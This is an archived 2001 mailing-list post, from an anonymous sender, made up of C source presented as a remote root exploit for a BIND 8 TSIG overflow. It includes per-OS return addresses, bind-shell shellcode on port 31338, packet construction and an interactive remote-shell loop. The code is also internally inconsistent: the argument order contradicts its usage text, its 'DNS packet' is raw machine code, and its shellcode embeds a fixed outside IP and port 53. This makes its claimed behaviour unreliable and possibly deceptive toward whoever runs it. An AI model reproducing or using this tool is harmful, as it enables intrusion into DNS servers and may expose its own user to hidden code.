OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Anonymous (nobodyreplay.com)
Date: Wed Jan 31 2001 - 16:06:19 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    /*
     * Implements TSIG buffer mismanagement overflow for incorrect signatures. That
     * one was really nice bug!
     * Thanks NAI for nice bug!
     */
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <string.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>
    #include <netdb.h>
    #include <signal.h>

    #ifndef max
    #define max(x,y) (((x)>(y))?(x):(y))
    #endif

    #define SHELL_OFFSET_1 26
    #define SHELL_OFFSET_2 31
    #define BIND_PKT_OFF 26 /* offset from beginning of packet */
    #define BIND_OKT_SZ 14 /* rr */
    #define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
    #define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
    #define BIND_OFF_03 (SHELL_OFFSET_1*2)
    #define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)

    char dns_packet[] =
    /* TSIG bind req, \xe8 used as field separator. */
    "\x31\xc0\x48\x50\x50\x31\xdb\x8d\x05\x0d\x00\x00\x00\xcd\x80\x83"
    "\xc4\x08\x3d\x04\x03\x02\x01\x7c\x05\xe8TSIG\xe8NAME\xe8SIGNATURE\xe8RSA\0";

    /* zeroes in all shellcodes are allowed - we encode them anyway.. */
    char linux_shellcode[] = /* modifyed Aleph1 linux shellcode to
                                             * bind to tcp port 31338. hey aleph1
                                             * :) */
    "\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd"
    "\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d"
    "\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d"
    "\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02"
    "\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff"
    "\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02"
    "\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";

    char bsd_shellcode[] =
    /* freebsd bind shellcode by LaMerZ , thnx :) */
    "\xeb\x37\x5e\x6a\x11\x6a\x02\x6a\x02\x6a\x66\x8d\x05\x61\x00\x00"
    "\x00\xcd\x80\x89\xc2\x6a\x10\x89\xf0\x50\x31\xc0\x50\x68\x24\x10"
    "\x00\x00\x8d\x46\x0f\x50\x52\x68\x88\x00\x00\x00\x8d\x05\x85\x00"
    "\x00\x00\xcd\x80\x83\xc4\x1c\xeb\xdc\xe8\xc4\xff\xff\xff\x00\x02"
    "\x00\x35\xa1\x45\x03\x96\xe8\xb1\xff\xff\xff/bin/sh\0";

    struct remote {
            char *osname;
            char *bindver;
            unsigned long ret; /* return addr */
            unsigned long otebp; /* offset ot %ebp,bind specific */
            char *shellcode;
    } remote[] = {
            {
                    "Linux RedHat 6.0", "8.2.x", 0xbfff0508, 104, linux_shellcode
            },
            {
                    "Linux RedHat 6.2", "8.2.x", 0xbfff0a04, 80, linux_shellcode
            },
            {
                    "Linux RedHat 7.0", "8.2.x", 0xbfff040a, 84, linux_shellcode
            },
            {
                    "Linux Slackware 7", "8.2.x", 0xbfffe123, 20, linux_shellcode
            },
            {
                    "Linux Debian (all)", "8.2.x", 0xbfffd0aa, 110, linux_shellcode
            },
            {
                    "FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
            },
            {
                    "FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
            },
            {
                    "FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
            },
            {
                    NULL, NULL, 0, 0
            }
    };

    void
    usage_func(char *pname)
    {
            int i;

            fprintf(stderr, "Usage: %s remote_addr domainname target_id\n", pname);
            fprintf(stderr, "Targets:\n");
            for (i = 0; remote[i].osname; i++)
                    fprintf(stderr, " %d - %s (%s)\n", i, remote[i].osname, remote[i].bindver);
            fprintf(stderr, "\n");
            fprintf(stderr, " Example usage:\n");
            fprintf(stderr, "$ host -t ns domain.com\n");
            fprintf(stderr, "domain.com name server dns1.domain.com\n");
            fprintf(stderr, "$ ./bind8_ex dns1.domain.com domain.com 0\n");
            fprintf(stderr, " [..expl output..]\n\n");
            exit(1);
    }

    int
    set_ptr(char *buff, int offset, unsigned long val, int s)
    {
            char copy_buff[1024];
            int revval;

            memcpy(copy_buff, buff, 1024);
            revval = buff[SHELL_OFFSET_1];
            /* increment record usage count */
            revval += BIND_OFF_01;
            if (s)
                    if (!fork())
                            /* simply copy value to offset */
                            memcpy(&copy_buff[offset], &val, sizeof(val));
            memcpy(buff, copy_buff, sizeof(copy_buff));
            return 0;
    }

    unsigned long
    Resolve(char *h)
    {
            struct in_addr q;
            struct hostent *z;

            if ((inet_aton(h, &q)) == 0) {
                    z = gethostbyname(h);

                    if (!z)
                            return -1;

                    (void) memcpy((void *) &q, (void *) z->h_addr, z->h_length);
            }
            return q.s_addr;
    }

    /* pull out a compressed query name */
    char *
    dnsprintflabel(char *s, char *buf, char *p)
    {
            unsigned short i, len;
            char *b = NULL;
            len = (unsigned short) *(p++);
            i = len + BIND_PKT_OFF;
            /* invalid length? */
            if (i)
                    return NULL;
            while (len) {
                    while (len >= 0xC0) {
                            if (!b)
                                    b = p + 1;
                            p = buf + (ntohs(*((unsigned short *) (p - 1))) & ~0xC000);
                            len = (unsigned short) *(p++);
                    }
                    for (i = 0; i < len; i++)
                            *(s++) = *(p++);
                    *(s++) = '.';
                    len = (unsigned short) *(p++);
            }
            *(s++) = 0;
            if (b)
                    return (b);
            return (p);
    }

    int
    proxyloop(int s)
    {
            char snd[1024], rcv[1024];
            fd_set rset;
            int maxfd, n;
            sleep(1);
            printf("Entering proxyloop..\n");
            strcpy(snd, "cd /; uname -a; pwd; id;\n");
            write(s, snd, strlen(snd));
            for (;;) {
                    FD_SET(fileno(stdin), &rset);
                    FD_SET(s, &rset);
                    maxfd = max(fileno(stdin), s) + 1;
                    select(maxfd, &rset, NULL, NULL, NULL);
                    if (FD_ISSET(fileno(stdin), &rset)) {
                            bzero(snd, sizeof(snd));
                            fgets(snd, sizeof(snd) - 2, stdin);
                            write(s, snd, strlen(snd));
                    }
                    if (FD_ISSET(s, &rset)) {
                            bzero(rcv, sizeof(rcv));
                            if ((n = read(s, rcv, sizeof(rcv))) == 0)
                                    exit(0);
                            if (n < 0) {
                                    return -3;
                            }
                            fputs(rcv, stdout);
                    }
            }
            return 0;
    }

    int
    main(int argc, char *argv[])
    {
            HEADER *dnsheader;
            struct sockaddr_in to;
            char expl_buffer[PACKETSZ + 8192];
            int off, i, x;
            char ch, *remote_addr = NULL, *dmn = NULL;
            char *walker;
            unsigned char *shellcode;
            int align = 0;
            unsigned long remote_ip, addr;
            int saved_len_1, saved_len_2;
            int type = -1;
            int fd, fd2;

            if (argc != 4) {
                    usage_func(argv[0]);
            }
            dmn = strdup(argv[1]);
            remote_addr = strdup(argv[2]);
            type = atoi(argv[3]);

            if (type < 0 || !remote_addr || !dmn) {
                    usage_func(argv[0]);
            }
            printf(" [+] Trying to resolve %s ...\n", remote_addr);
            remote_ip = Resolve(remote_addr);

            if (remote_ip == -1) {
                    fprintf(stderr, " [-] failed to resolve %s\n", remote_addr);
                    exit(1);
            } else {
                    printf(" [+] %s -> %#lx...\n", remote_addr, remote_ip);
            }
            /* block signal to allow these signals in bindshell */
            signal(SIGHUP, SIG_IGN);
            signal(SIGCHLD, SIG_IGN); /* well.. */
            signal(SIGINT, SIG_IGN);

            printf(" [+] Remote OS %s, using domain %s\n", remote[type].osname, dmn);
            printf(" [+] Offset: 0x%08x, bind specific value: %d\n", remote[type].ret, remote[type].otebp);
            shellcode = (unsigned char *) malloc(PACKETSZ + 8192);
            memset(shellcode, 0x90, PACKETSZ);

            addr = remote[type].ret;

            for (i = 0; i < sizeof(dns_packet); i++)
                    shellcode[i] = dns_packet[i];

            if (i > 0) {
                    saved_len_1 = i;
            }
            for (x = 0; x < sizeof(linux_shellcode); i++, x++)
                    shellcode[i] = linux_shellcode[x];

            if (i) {
                    saved_len_2 = i;
            }
            for (x = 0; x < sizeof(bsd_shellcode); i++, x++)
                    shellcode[i] = bsd_shellcode[x];

            /* encode offset */
            addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4;
            shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff;
            shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff;
            shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff;
            shellcode[SHELL_OFFSET_1] = (addr) & 0xff;
            addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4;
            shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff;
            shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff;
            shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff;
            shellcode[SHELL_OFFSET_2] = (addr) & 0xff;

            printf(" [+] shellcode length: %d\n", i);
            /*
             * now build packet
             * set pointer to itself. dont modify BIND_OFF_02, it was
             * bruteforced.. and worked with every bind i sploited.
             */
            set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
            /* setup tsig info */
            set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
            /* count of records */
            if (i > (SHELL_OFFSET_2 - 10)) {
                    set_ptr(shellcode, BIND_OFF_03, i, 0);
            } else {
                    i += (SHELL_OFFSET_2 / 2);
                    i -= (SHELL_OFFSET_2 % 2); /* thnx enr1qe! :) */
                    set_ptr(shellcode, BIND_OFF_03, i, 0);
            }
            /* store return ADDR !! */
            set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);

            /* copy and rebuild packet depended stuff */
            memcpy(expl_buffer, shellcode, PACKETSZ);
            dnsheader = (HEADER *) & expl_buffer;
            memset(dnsheader, 0, sizeof(HEADER));
            dnsheader->id = htons(getpid());
            dnsheader->qr = 1;
            dnsheader->aa = 1;
            /* tsig query! */
            dnsheader->opcode = QUERY;
            dnsheader->qdcount = htons(1);
            dnsheader->arcount = htons(1);
            /*
             * encode packet ...
             */
            dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (char *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1));
            walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr);
            PUTSHORT(T_SIG, walker);

            /*
             * packet is built, connect and sent shellcode. what can be easier?
             * :)
             */
            if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
                    perror("socket");
                    exit(1);
            }
            memset(&to, 0, sizeof(to));
            to.sin_family = AF_INET;
            to.sin_port = htons(53);
            to.sin_addr.s_addr = remote_ip;

            if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, sizeof(struct sockaddr)) != PACKETSZ)) {
                    perror("sendto");
                    exit(1);
            }
            /* attempt to connect to bindshell on port 31338 */

            if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
                    perror("socket");
                    exit(1);
            }
            /* linux & freebsd shellcodes bindport is same, so dont even check. */
            to.sin_port = htons(31338);

            if (connect(fd2, (struct sockaddr *) & to, sizeof(struct sockaddr)) < 0) {
                    perror("connect");
                    exit(1);
            }
            proxyloop(fd2);
    }